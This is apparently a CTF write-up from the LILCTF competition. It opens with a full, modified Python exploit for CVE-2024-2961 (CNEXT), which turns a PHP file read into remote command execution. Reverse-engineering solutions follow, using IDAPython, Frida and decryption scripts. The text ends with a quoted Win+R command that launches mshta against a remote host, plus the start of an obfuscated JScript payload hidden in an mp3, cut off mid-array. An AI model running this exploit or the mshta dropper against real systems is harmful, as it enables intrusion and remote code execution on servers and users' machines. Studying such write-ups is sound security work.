594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 #!/usr/bin/env python3 # # CNEXT: PHP file-read to RCE (CVE-2024-2961) # Date: 2024-05-27 # Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS) # # TODO Parse LIBC to know if patched # # INFORMATIONS # # To use, implement the Remote class, which tells the exploit how to send the payload. # from __future__ import annotations import base64 import zlib from dataclasses import dataclass from requests.exceptions import ConnectionError, ChunkedEncodingError from pwn import * from ten import * from ten import entry HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄".encode("utf-8") class Remote: """A helper class to send the payload and download files. The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload. The code here serves as an example that attacks a page that looks like: ```php <?php $data = file_get_contents($_POST['file']); echo "File contents: $data"; Tweak it to fit your target, and start the exploit. """ def __init__(self, url: str) -> None: self.url = url self.session = Session() def send(self, path: str) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ #print(self.url) return self.session.post(self.url, data={"file": path}) def download(self, path: str) -> bytes: """Returns the contents of a remote file. """ #path = f"php://filter/convert.base64-encode/resource={path}" path = f"file://{path}" response = self.session.post(self.url, data={"file": path}) #print("=====================") print(path) #print(f"Text:{response.text}") data = response.re.search(b"File contents: (.*)", flags=re.S).group(1) #return base64.decode(data) return data def include(self, path: str) -> bytes: response = self.session.post(self.url, data={"include": path}) #print("========") #print(f"res:{response.content}") try: data = response.re.search(b"include: (.*)", flags=re.S).group(1) #print(path) #print(response.text) return data.decode() except AttributeError: print("按寻思这玩意能跑") return None pass def dataio(self,data: str) -> None: response = self.session.post(self.url, data={"input": data}) pass @entry @arg("url", "Target URL") @arg("command", "Command to run on the system; limited to 0x140 bytes") @arg("sleep", "Time to sleep to assert that the exploit worked. By default, 1.") @arg("heap", "Address of the main zend_mm_heap structure.") @arg( "pad", "Number of 0x100 chunks to pad with. If the website makes a lot of heap " "operations with this size, increase this. Defaults to 20.", ) @dataclass class Exploit: """CNEXT exploit: RCE using a file read primitive in PHP.""" url: str command: str sleep: int = 1 heap: str = None pad: int = 20 def __post_init__(self): self.remote = Remote(self.url) self.log = logger("EXPLOIT") self.info = {} self.heap = self.heap and int(self.heap, 16) def check_vulnerable(self) -> None: """Checks whether the target is reachable and properly allows for the various wrappers and filters that the exploit needs. """ def safe_download(path: str) -> bytes: try: return self.remote.download(path) except ConnectionError: failure("Target not [b]reachable[/] ?") def check_token(text: str, path: str) -> bool: self.remote.dataio(text) #print(f"text:{text}") result = self.remote.include(path) print(path) print(f"result:{result}") #return text.encode() == result return text == result text = tf.random.string(50).encode() base64 = b64(text, misalign=True).decode() #path = f"data:text/plain;base64,{base64}"#################################### path = f"{base64}" #result = safe_download(path) ''' if text not in result: msg_failure("Remote.download did not return the test string") print("--------------------") print(f"Expected test string: {text}") print(f"Got: {result}") print("--------------------") failure("If your code works fine, it means that the [i]data://[/] wrapper does not work") msg_info("The [i]data://[/] wrapper works") text = tf.random.string(50) base64 = b64(text.encode(), misalign=True).decode() path = f"php://filter//resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]php://filter/[/] wrapper does not work") msg_info("The [i]php://filter/[/] wrapper works") text = tf.random.string(50) base64 = b64(compress(text.encode()), misalign=True).decode() path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]zlib[/] extension is not enabled") msg_info("The [i]zlib[/] extension is enabled") msg_success("Exploit preconditions are satisfied") ''' text = tf.random.string(50) base64 = b64(text.encode(), misalign=True).decode() path = f"php://filter//resource=/tmp/io" #if not check_token(base64, path): #failure("The [i]php://filter/[/] wrapper does not work") #msg_info("The [i]php://filter/[/] wrapper works") text = tf.random.string(50) print(f"text: {text}") compressed =compress(text.encode()) base64 = b64(compress(text.encode()), misalign=True).decode() path = f"php://filter/zlib.inflate/resource=/tmp/io" #if not check_token(compressed, path): #failure("The [i]zlib[/] extension is not enabled") #msg_info("The [i]zlib[/] extension is enabled") msg_success("Exploit preconditions are satisfied") def get_file(self, path: str) -> bytes: with msg_status(f"Downloading [i]{path}[/]..."): return self.remote.download(path) def get_regions(self) -> list[Region]: """Obtains the memory regions of the PHP process by querying /proc/self/maps.""" maps = self.get_file("/proc/self/maps") maps = maps.decode() PATTERN = re.compile( r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)" ) regions = [] for region in table.split(maps, strip=True): if match := PATTERN.match(region): start = int(match.group(1), 16) stop = int(match.group(2), 16) permissions = match.group(3) path = match.group(4) if "/" in path or "[" in path: path = path.rsplit(" ", 1)[-1] else: path = "" current = Region(start, stop, permissions, path) regions.append(current) else: print(maps) failure("Unable to parse memory mappings") self.log.info(f"Got {len(regions)} memory regions") return regions def get_symbols_and_addresses(self) -> None: """Obtains useful symbols and addresses from the file read primitive.""" regions = self.get_regions() LIBC_FILE = "/dev/shm/cnext-libc" # PHP's heap self.info["heap"] = self.heap or self.find_main_heap(regions) # Libc libc = self._get_region(regions, "libc-", "libc.so") self.download_file(libc.path, LIBC_FILE) self.info["libc"] = ELF(LIBC_FILE, checksec=False) self.info["libc"].address = libc.start def _get_region(self, regions: list[Region], *names: str) -> Region: """Returns the first region whose name matches one of the given names.""" for region in regions: if any(name in region.path for name in names): break else: failure("Unable to locate region") return region def download_file(self, remote_path: str, local_path: str) -> None: """Downloads `remote_path` to `local_path`""" data = self.get_file(remote_path) Path(local_path).write(data) def find_main_heap(self, regions: list[Region]) -> Region: # Any anonymous RW region with a size superior to the base heap size is a # candidate. The heap is at the bottom of the region. heaps = [ region.stop - HEAP_SIZE + 0x40 for region in reversed(regions) if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE-1) == 0 and region.path in ("", "[anon:zend_alloc]") ] if not heaps: failure("Unable to find PHP's main heap in memory") first = heaps[0] if len(heaps) > 1: heaps = ", ".join(map(hex, heaps)) msg_info(f"Potential heaps: [i]{heaps}[/] (using first)") else: msg_info(f"Using [i]{hex(first)}[/] as heap") return first def run(self) -> None: self.check_vulnerable() self.get_symbols_and_addresses() self.exploit() def build_exploit_path(self) -> str: print("wwwwwwwwwwwwwwwww") """On each step of the exploit, a filter will process each chunk one after the other. Processing generally involves making some kind of operation either on the chunk or in a destination chunk of the same size. Each operation is applied on every single chunk; you cannot make PHP apply iconv on the first 10 chunks and leave the rest in place. That's where the difficulties come from. Keep in mind that we know the address of the main heap, and the libraries. ASLR/PIE do not matter here. The idea is to use the bug to make the freelist for chunks of size 0x100 point lower. For instance, we have the following free list: ... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00 By triggering the bug from chunk ..900, we get: ... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ??? That's step 3. Now, in order to control the free list, and make it point whereever we want, we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so, we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48. That's step 2. Now, if we were to perform step2 an then step3 without anything else, we'd have a problem: after step2 has been processed, the free list goes bottom-up, like: 0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900 We need to go the other way around. That's why we have step 1: it just allocates chunks. When they get freed, they reverse the free list. Now step2 allocates in reverse order, and therefore after step2, chunks are in the correct order. Another problem comes up. To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT. Since step2 creates chunks that contain pointers and pointers are generally not UTF-8, we cannot afford to have that conversion happen on the chunks of step2. To avoid this, we put the chunks in step2 at the very end of the chain, and prefix them with `0\n`. When dechunked (right before the iconv), they will "disappear" from the chain, preserving them from the character set conversion and saving us from an unwanted processing error that would stop the processing chain. After step3 we have a corrupted freelist with an arbitrary pointer into it. We don't know the precise layout of the heap, but we know that at the top of the heap resides a zend_mm_heap structure. We overwrite this structure in two ways. Its free_slot[] array contains a pointer to each free list. By overwriting it, we can make PHP allocate chunks whereever we want. In addition, its custom_heap field contains pointers to hook functions for emalloc, efree, and erealloc (similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and then overwrite the use_custom_heap flag to make PHP use these function pointers instead. We can now do our favorite CTF technique and get a call to system(<chunk>). We make sure that the "system" command kills the current process to avoid other system() calls with random chunk data, leading to undefined behaviour. The pad blocks just "pad" our allocations so that even if the heap of the process is in a random state, we still get contiguous, in order chunks for our exploit. Therefore, the whole process described here CANNOT crash. Everything falls perfectly in place, and nothing can get in the middle of our allocations. """ LIBC = self.info["libc"] ADDR_EMALLOC = LIBC.symbols["__libc_malloc"] ADDR_EFREE = LIBC.symbols["__libc_system"] ADDR_EREALLOC = LIBC.symbols["__libc_realloc"] ADDR_HEAP = self.info["heap"] ADDR_FREE_SLOT = ADDR_HEAP + 0x20 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168 ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10 CS = 0x100 # Pad needs to stay at size 0x100 at every step pad_size = CS - 0x18 pad = b"\x00" * pad_size pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = compressed_bucket(pad) step1_size = 1 step1 = b"\x00" * step1_size step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, CS) step1 = compressed_bucket(step1) # Since these chunks contain non-UTF-8 chars, we cannot let it get converted to # ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash" step2_size = 0x48 step2 = b"\x00" * (step2_size + 8) step2 = chunked_chunk(step2, CS) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2) step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN) step2_write_ptr = chunked_chunk(step2_write_ptr, CS) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr) step3_size = CS step3 = b"\x00" * step3_size assert len(step3) == CS step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3) step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG assert len(step3_overflow) == CS step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow) step4_size = CS step4 = b"=00" + b"\x00" * (step4_size - 1) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4) # This chunk will eventually overwrite mm_heap->free_slot # it is actually allocated 0x10 bytes BEFORE it, thus the two filler values step4_pwn = ptr_bucket( 0x200000, 0, # free_slot 0, 0, ADDR_CUSTOM_HEAP, # 0x18 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ADDR_HEAP, # 0x140 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, size=CS, ) step4_custom_heap = ptr_bucket( ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18 ) step4_use_custom_heap_size = 0x140 COMMAND = self.command COMMAND = f"kill -9 $PPID; {COMMAND}" if self.sleep: COMMAND = f"sleep {self.sleep}; {COMMAND}" COMMAND = COMMAND.encode() + b"\x00" assert ( len(COMMAND) <= step4_use_custom_heap_size ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}" COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00") step4_use_custom_heap = COMMAND step4_use_custom_heap = qpe(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap) pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self.pad + step1 * 3 + step2_write_ptr + step2 * 2 ) resource = compress(compress(pages)) #resource = b64(resource) #resource = f"data:text/plain;base64,{resource.decode()}" #resource = f"{resource.decode()}" filters = [ # Create buckets "zlib.inflate", "zlib.inflate", # Step 0: Setup heap "dechunk", "convert.iconv.L1.L1", # Step 1: Reverse FL order "dechunk", "convert.iconv.L1.L1", # Step 2: Put fake pointer and make FL order back to normal "dechunk", "convert.iconv.L1.L1", # Step 3: Trigger overflow "dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT", # Step 4: Allocate at arbitrary address and change zend_mm_heap "convert.quoted-printable-decode", "convert.iconv.L1.L1", ] filters = "|".join(filters) path = f"php://filter/read={filters}/resource=/tmp/io" return path,resource @inform("Triggering...") def exploit(self) -> None: path,resource = self.build_exploit_path() start = time.time() try: #print(resource) print(path) self.remote.dataio(resource) self.remote.include(path) except (ConnectionError, ChunkedEncodingError): pass msg_print() if not self.sleep: msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]") elif start + self.sleep <= time.time(): msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]") else: # Wrong heap, maybe? If the exploited suggested others, use them! msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]") msg_print() def compress(data) -> bytes: """Returns data suitable for `zlib.inflate`. """ # Remove 2-byte header and 4-byte checksum return zlib.compress(data, 9)[2:-4] def b64(data: bytes, misalign=True) -> bytes: payload = base64.encode(data) if not misalign and payload.endswith("="): raise ValueError(f"Misaligned: {data}") return payload.encode() def compressed_bucket(data: bytes) -> bytes: """Returns a chunk of size 0x8000 that, when dechunked, returns the data.""" return chunked_chunk(data, 0x8000) def qpe(data: bytes) -> bytes: """Emulates quoted-printable-encode. """ return "".join(f"={x:02x}" for x in data).upper().encode() def ptr_bucket(*ptrs, size=None) -> bytes: """Creates a 0x8000 chunk that reveals pointers after every step has been ran.""" if size is not None: assert len(ptrs) * 8 == size bucket = b"".join(map(p64, ptrs)) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket) return bucket def chunked_chunk(data: bytes, size: int = None) -> bytes: """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`. """ # The caller does not care about the size: let's just add 8, which is more than # enough if size is None: size = len(data) + 8 keep = len(data) + len(b"\n\n") size = f"{len(data):x}".rjust(size - keep, "0") return size.encode() + b"\n" + data + b"\n" @dataclass class Region: """A memory region.""" start: int stop: int permissions: str path: str @property def size(self) -> int: return self.stop - self.start Exploit() Reverse obfusheader.h 程序被混淆的比较严重, 发现xor ,eax, eax; jz ptr+1类型的花指令, 可以通过IDAPython匹配这个格式然后全部nop, 程序的控制流静态稍微会好看一些 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import ida_bytes import ida_kernwin import idc def patch_pattern_to_nop(): pattern = [0x48, 0x31, 0xC0, 0x74, 0x01, 0x00] start_ea = idc.get_inf_attr(idc.INF_MIN_EA) end_ea = idc.get_inf_attr(idc.INF_MAX_EA) current_ea = start_ea count = 0 while current_ea < end_ea: match = True for i in range(len(pattern)): if idc.get_wide_byte(current_ea + i) != pattern[i]: match = False break if match: for i in range(len(pattern)): idc.patch_byte(current_ea + i, 0x90) count += 1 current_ea += len(pattern) else: current_ea += 1 print(f"Patched {count} occurrences") if __name__ == "__main__": patch_pattern_to_nop() 然后还有一些其他的混淆, 函数返回常量干扰IDA数据流分析, 全局变量代替常量等, 后者可以设置data段只读来去除, 前者暂时没找到好的方法, 不过不影响动态分析 根据题目的描述, 可以分析程序的数据流, 找到用户的输入会存放在全局变量0x14003A040的位置, 给这一片内存下内存断点来监控这一段数据的读写, flag的长度通过测试是40个字节, 打完断点后运行走到第一个处理的位置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned __int64 __fastcall sub_140007842(char *a1, unsigned __int64 a2) { unsigned __int64 result; // rax int i; // [rsp+2Ch] [rbp-4h] for ( i = 0; ; ++i ) { result = a2 >> 1; if ( i >= a2 >> 1 ) break; *(_WORD *)&a1[2 * i] ^= rand(); } return result; } 由于已经在动调了, 要获取这个rand序列只需要获取异或之后的数据和异或之前的数据即可 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 before_str = "LILCTF{12341234123412341234123412341234}" after_bytes = [ 0x3A, 0x05, 0xF4, 0x3E, 0x30, 0x01, 0x83, 0x61, 0x95, 0x70, 0xFC, 0x02, 0xB5, 0x54, 0xE0, 0x58, 0x4C, 0x7F, 0x75, 0x50, 0x56, 0x73, 0x91, 0x3E, 0x21, 0x7E, 0x9D, 0x4E, 0xCB, 0x12, 0xF4, 0x6D, 0x44, 0x24, 0xAA, 0x44, 0xCF, 0x32, 0x78, 0x4E ] before_bytes = before_str.encode('ascii') rand_sequence = [] for i in range(0, len(before_bytes), 2): before_word = before_bytes[i] | (before_bytes[i+1] << 8) after_word = after_bytes[i] | (after_bytes[i+1] << 8) rand_val = before_word ^ after_word rand_sequence.append(rand_val) verification_bytes = [] for i, rand_val in enumerate(rand_sequence): byte_index = i * 2 before_word = before_bytes[byte_index] | (before_bytes[byte_index+1] << 8) re_encrypted_word = before_word ^ rand_val verification_bytes.append(re_encrypted_word & 0xFF) verification_bytes.append((re_encrypted_word >> 8) & 0xFF) assert verification_bytes == after_bytes, "Verification failed: rand sequence is incorrect." print(rand_sequence) # [19574, 32184, 18276, 20728, 17319, 13256, 26503, 27092, 19582, 24897, 16484, 4005, 19731, 32681, 8697, 23744, 6006, 30110, 509, 13132] 继续运行到了第二处加密的位置, 同时会输出encrypt done start compare, 后续就是判断flag是否正确了, 懒得在IDA动调跟, 写了个frida hook memcmp函数获取密文 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const memcmpPtr = Module.getExportByName("msvcrt.dll", "memcmp"); if (memcmpPtr) { Interceptor.attach(memcmpPtr, { onEnter: function(args) { var size = args[2].toInt32(); if (size >= 30 && size <= 50) { var buf1 = Memory.readByteArray(args[0], size); var buf2 = Memory.readByteArray(args[1], size); console.log("[" + Array.from(new Uint8Array(buf1)).map(b => "0x" + b.toString(16).toUpperCase()).join(", ") + "]"); console.log("[" + Array.from(new Uint8Array(buf2)).map(b => "0x" + b.toString(16).toUpperCase()).join(", ") + "]"); } } }); } else { console.log("[!] memcmp function not found!"); } //[0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xEF, 0xC7, 0x8D, 0x3, 0xCF, 0x34, 0x39, 0x41, 0xBE, 0x47, 0x2D, 0x1C, 0x48, 0xEF, 0x8F, 0x7F, 0xF8, 0xD0, 0xFA, 0xFA, 0x2F, 0x81, 0xFD, 0x73, 0xAA, 0x6, 0x1E, 0xAB, 0x7B, 0x40, 0xEB, 0x67, 0xB9, 0xDF, 0x1B] 最终解密脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ciphertext = [0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xEF, 0xC7, 0x8D, 0x03, 0xCF, 0x34, 0x39, 0x41, 0xBE, 0x47, 0x2D, 0x1C, 0x48, 0xEF, 0x8F, 0x7F, 0xF8, 0xD0, 0xFA, 0xFA, 0x2F, 0x81, 0xFD, 0x73, 0xAA, 0x06, 0x1E, 0xAB, 0x7B, 0x40, 0xEB, 0x67, 0xB9, 0xDF, 0x1B] rand_sequence = [19574, 32184, 18276, 20728, 17319, 13256, 26503, 27092, 19582, 24897, 16484, 4005, 19731, 32681, 8697, 23744, 6006, 30110, 509, 13132] step1 = [~byte & 0xFF for byte in ciphertext] step2 = [((byte & 0xF0) >> 4) | ((byte & 0x0F) << 4) for byte in step1] result = [] for i in range(0, len(step2), 2): encrypted_word = step2[i] | (step2[i+1] << 8) original_word = encrypted_word ^ rand_sequence[i // 2] result.extend([original_word & 0xFF, (original_word >> 8) & 0xFF]) flag = ''.join(chr(b) for b in result) print(flag) # LILCTF{wh@t_ls_D@7@fl0W_C@N_1t_B3_e4teN} Oh_My_Uboot 固件题, ARMv7架构的, 直接上qemu + gdb跑一下 直接按continue会要求输入password, IDA打开u-boot文件搜字符串没找到这个字符串, 应该是被加密了 预期使用gdb调试然后看调用栈来定位验证password的地方, 但是调了两个小时也没搞出来, 然后在网上了解了一下u-boot, 发现他启动之后会执行一个死循环, 用来执行shell命令, 于是尝试搜索bootcmd字符串来定位代码 定位到这里, 这几个函数都没啥用,往上查交叉引用, 可以看到sub_60813F74函数 发现硬编码了一串字符串, 显然加密的 password , 算法也不难, 先 xor 0x72 然后再 base58 编码, 解密逆着来就行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 def base58_decode(encoded, charset): if not encoded: return b'' num = 0 base = len(charset) for char in encoded: num = num * base + charset.index(char) decoded = [] while num > 0: num, remainder = divmod(num, 256) decoded.insert(0, remainder) for char in encoded: if char == charset[0]: decoded.insert(0, 0) else: break return bytes(decoded) def decrypt(): target = "5W2b9PbLE6SIc3WP=X6VbPI0?X@HMEWH;" charset = ''.join(chr(i) for i in range(48, 106)) decoded_bytes = base58_decode(target, charset) password = bytes(b ^ 0x72 for b in decoded_bytes).decode('ascii') return password if __name__ == "__main__": print(decrypt()) # LILCTF{Ub007_1s_v3ry_ez} 和猜想一样, 验证完之后就进入死循环,检测命令了 Qt_Creator 直接搜字符串就好了, 然后交叉引用找到关键函数 这是qt的构造函函数, 其他组件也会在这里注册, 找到了密文. 加密函数如下 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 _DWORD *__thiscall sub_40FFF0(_DWORD *this, int a2, int a3) { _DWORD *v3; // ecx int v4; // eax _DWORD *v5; // edx int v6; // ebx int v7; // edi __int16 v8; // si int v9; // eax __int16 v11; // si int v12; // eax int v13; // [esp+4h] [ebp-38h] bool v14; // [esp+8h] [ebp-34h] v3 = *(_DWORD **)a3; if ( *(int *)(*(_DWORD *)a3 + 4) > 0 ) { v4 = 0; v5 = *(_DWORD **)a3; do { v6 = 2 * v4; v7 = v4 + 1; v8 = *(_WORD *)((char *)v3 + 2 * v4 + v3[3]); if ( (v4 & 1) != 0 ) { if ( v4 >= v5[1] ) { LOWORD(v13) = 32; QString::resize(a3, v7, v13); v5 = *(_DWORD **)a3; v3 = *(_DWORD **)a3; v9 = *(_DWORD *)(*(_DWORD *)a3 + 12); } else if ( *v5 > 1u || (v9 = v5[3], v3 = v5, v9 != 16) ) { QString::reallocData((QString *)(v5[1] + 1), 0, v14); v5 = *(_DWORD **)a3; v9 = *(_DWORD *)(*(_DWORD *)a3 + 12); v3 = *(_DWORD **)a3; } *(_WORD *)((char *)v5 + v6 + v9) = v8 - 1; } else { v11 = v8 + 1; if ( *v3 > 1u || (v12 = v5[3], v3 = v5, v12 != 16) ) { QString::reallocData((QString *)(v5[1] + 1), 0, v14); v5 = *(_DWORD **)a3; v12 = *(_DWORD *)(*(_DWORD *)a3 + 12); v3 = *(_DWORD **)a3; } *(_WORD *)((char *)v5 + v6 + v12) = v11; } v4 = v7; } while ( v5[1] > v7 ); } *this = v3; *(_DWORD *)a3 = QArrayData::shared_null; return this; } 直接给出解密脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 fragments = [ "KJKDS", "GzR6`", "bsd5s", "1q`0t", "^wdsx", "`b1mw", "2oh4mu|" ] base_str = "".join(fragments) flag_chars = [] for i, char in enumerate(base_str): char_code = ord(char) if i % 2 == 0: new_char_code = char_code + 1 else: new_char_code = char_code - 1 flag_chars.append(chr(new_char_code)) final_flag = "".join(flag_chars) print(final_flag) # LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt} ARM ASM Android题, 关键逻辑在so的JNI函数里面,难度不大, 加密过程很直观, 直接放解密脚本了 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 def decrypt_ctf(ciphertext): custom_base64 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/" def custom_base64_decode(s): result = bytearray() s = s.rstrip('=') bits = '' for c in s: if c in custom_base64: bits += format(custom_base64.index(c), '06b') for i in range(0, len(bits) - len(bits) % 8, 8): byte_bits = bits[i:i+8] if len(byte_bits) == 8: result.append(int(byte_bits, 2)) return bytes(result) encrypted_data = custom_base64_decode(ciphertext) data = bytearray(encrypted_data) for j in range(0, 48, 3): data[j] = ((data[j] << 5) | (data[j] >> 3)) & 0xFF data[j + 1] = ((data[j + 1] << 1) | (data[j + 1] >> 7)) & 0xFF t_table = bytes([0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]) for i in range(2, -1, -1): table = bytearray(t_table) for prev_i in range(i): for k in range(16): table[k] ^= prev_i block = bytearray(data[16 * i:16 * (i + 1)]) for k in range(16): block[k] ^= table[k] original_block = bytearray(16) for k in range(16): try: pos = table.index(k) if pos < len(block): original_block[k] = block[pos] else: original_block[k] = block[k] if k < len(block) else 0 except ValueError: original_block[k] = block[k] if k < len(block) else 0 data[16 * i:16 * (i + 1)] = original_block return data.decode('utf-8') ciphertext = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S" result = decrypt_ctf(ciphertext) print(f"Flag: {result}") 1’M no7 A rO6oT 复制到win+r的命令 1 powershell . "C:\Windows\System32\mshta.exe" http://challenge.xinshi.fun:41166/Coloringoutomic_Host.mp3 http://challenge.xinshi.fun:41166/Coloringoutomic_Host.mp3 用winhex打开这个mp3,发现有script标签 1 <script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,Mb,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,Fi,Fi,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,FT,Fi,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,QB,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,yN,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,yN,yN,ff,RV,xv,xv,it,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,FT,QB,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,zN,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,xv,kX,zN,ff